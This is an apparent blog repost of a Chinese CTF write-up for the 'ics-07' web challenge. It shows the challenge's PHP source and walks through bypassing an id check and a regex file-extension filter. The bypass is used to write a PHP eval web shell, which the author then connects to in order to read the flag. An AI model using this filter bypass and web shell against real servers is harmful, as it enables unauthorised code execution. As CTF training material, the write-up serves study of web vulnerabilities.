zoukankan      html  css  js  c++  java
  • ics-07

    ics-07

    知识点

    floatval($id) 返回参数的浮点部分,并转化为浮点型。

    substr($str,-1) 返回字符串的最后一个字母

    select * from actors where id='1afd945' 相当于id=1

    chdir('uploaded') 改变当前的目录,相当于cd



    Linux的目录结构特性



    思路

    进入题目界面,直接审计源码

     <!DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8">
        <title>cetc7</title>
      </head>
      <body>
        <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    
        <form action="#" method="get">
          page : <input type="text" name="page" value="">
          id : <input type="text" name="id" value="">
          <input type="submit" name="submit" value="submit">
        </form>
        <br />
        <a href="index.phps">view-source</a>
    
        <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>
    
        <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>
    
      </body>
    </html>
    

    显然分为两个关卡,我们先构造?id=1a9 ,成功通过第一关,使得$_SESSION['admin']=True

    进入第二关

    审计发现,我们上传的文件会被存放在uploaded/backup/下,而这里又进行了过滤,一开始我看一眼,发现过滤了php的全部可用后缀,然后上传.htaccess文件,发现解析不了,也就行不通,,然后就看了wp

    发现正则这里原来可以绕过preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename) 表示的是最后一个.后面不允许出现php,php3之类的。

    构造file=haker2.php/1.php/..&con=<?php echo "success";eval($_POST[hacker]); ?>

    表示的意思是在1.php的父目录即hacker2.php所在的这个目录创建hacker2.php这个文件。

    也可构造

    file=haker3.php/.&con=<?php echo "success";eval($_POST[hacker]); ?> 在hacker3.php当前目录下创建hacker3.php文件。

    即可实现绕过。然后蚁剑连接,拿到flag

    参考博客!https://blog.csdn.net/qq_45552960/article/details/102777514

  • 相关阅读:
    Android中TextView中内容不换行的解决方法
    对ORA-01795: 列表中的最大表达式数为 1000的处理(算法:计算数量及切割)
    poj 1094 Sorting It All Out (拓扑排序)
    Automatically generate serial number in abap
    Getting started with new I/O (NIO)--reference
    JDK源码重新编译——支持eclipse调试JDK源码--转载
    Reactor构架模式--转载
    分布式服务框架 Zookeeper -- 管理分布式环境中的数据--转载
    深入分析 iBATIS 框架之系统架构与映射原理--转载
    Servlet 工作原理解析--转载
  • 原文地址:https://www.cnblogs.com/NineOne/p/13916703.html
Copyright © 2011-2022 走看看